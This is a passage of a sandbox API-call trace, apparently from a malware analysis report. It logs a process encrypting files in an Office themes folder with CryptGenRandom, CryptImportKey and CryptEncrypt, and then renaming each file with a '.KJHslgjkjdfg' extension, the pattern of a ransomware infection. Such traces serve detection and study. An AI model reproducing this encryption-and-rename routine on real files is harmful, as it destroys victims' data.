ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.753] GetProcessHeap () returned 0x990000 [0172.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.753] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0172.753] GetProcessHeap () returned 0x990000 [0172.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0172.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.754] GetProcessHeap () returned 0x990000 [0172.754] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.754] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.754] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.754] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0172.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.757] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.757] GetProcessHeap () returned 0x990000 [0172.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.757] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.757] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.757] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.757] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.757] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.757] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.757] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.758] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.758] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.758] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.758] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x184e9, lpOverlapped=0x0) returned 1 [0172.760] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x184f0, dwBufLen=0x184f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x184f0) returned 1 [0172.761] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.762] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x184f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x184f0, lpOverlapped=0x0) returned 1 [0172.762] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.762] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.762] SetEndOfFile (hFile=0x12c) returned 1 [0172.765] GetProcessHeap () returned 0x990000 [0172.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.765] GetProcessHeap () returned 0x990000 [0172.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.kjhslgjkjdfg")) returned 1 [0172.769] CloseHandle (hObject=0x12c) returned 1 [0172.769] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0172.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.789] GetProcessHeap () returned 0x990000 [0172.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.790] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.790] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.790] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0172.792] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.792] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.792] GetProcessHeap () returned 0x990000 [0172.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.792] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.792] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.792] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.792] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.792] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.792] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.793] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.793] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.793] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.793] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.793] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.793] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x225, lpOverlapped=0x0) returned 1 [0172.793] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0172.793] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.793] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0172.793] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.793] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.794] SetEndOfFile (hFile=0x12c) returned 1 [0172.796] GetProcessHeap () returned 0x990000 [0172.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.796] GetProcessHeap () returned 0x990000 [0172.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.kjhslgjkjdfg")) returned 1 [0172.801] CloseHandle (hObject=0x12c) returned 1 [0172.801] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.802] GetProcessHeap () returned 0x990000 [0172.802] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.802] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.802] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.802] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0172.806] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.806] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.806] GetProcessHeap () returned 0x990000 [0172.806] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.806] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.806] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.806] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.806] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.806] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.806] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.807] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.807] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.807] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.807] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.807] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x143b, lpOverlapped=0x0) returned 1 [0172.808] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1440, dwBufLen=0x1440 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1440) returned 1 [0172.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.808] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1440, lpOverlapped=0x0) returned 1 [0172.808] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.808] SetEndOfFile (hFile=0x12c) returned 1 [0172.811] GetProcessHeap () returned 0x990000 [0172.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.811] GetProcessHeap () returned 0x990000 [0172.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.815] CloseHandle (hObject=0x12c) returned 1 [0172.815] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.816] GetProcessHeap () returned 0x990000 [0172.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.816] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.816] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0172.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.819] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.819] GetProcessHeap () returned 0x990000 [0172.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.819] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.819] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.819] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.819] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.820] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.820] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.820] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.820] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.820] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.820] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.820] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x8317, lpOverlapped=0x0) returned 1 [0172.822] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8320, dwBufLen=0x8320 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8320) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.822] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8320, lpOverlapped=0x0) returned 1 [0172.822] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x83f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.823] SetEndOfFile (hFile=0x12c) returned 1 [0172.826] GetProcessHeap () returned 0x990000 [0172.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.826] GetProcessHeap () returned 0x990000 [0172.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.832] CloseHandle (hObject=0x12c) returned 1 [0172.833] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, 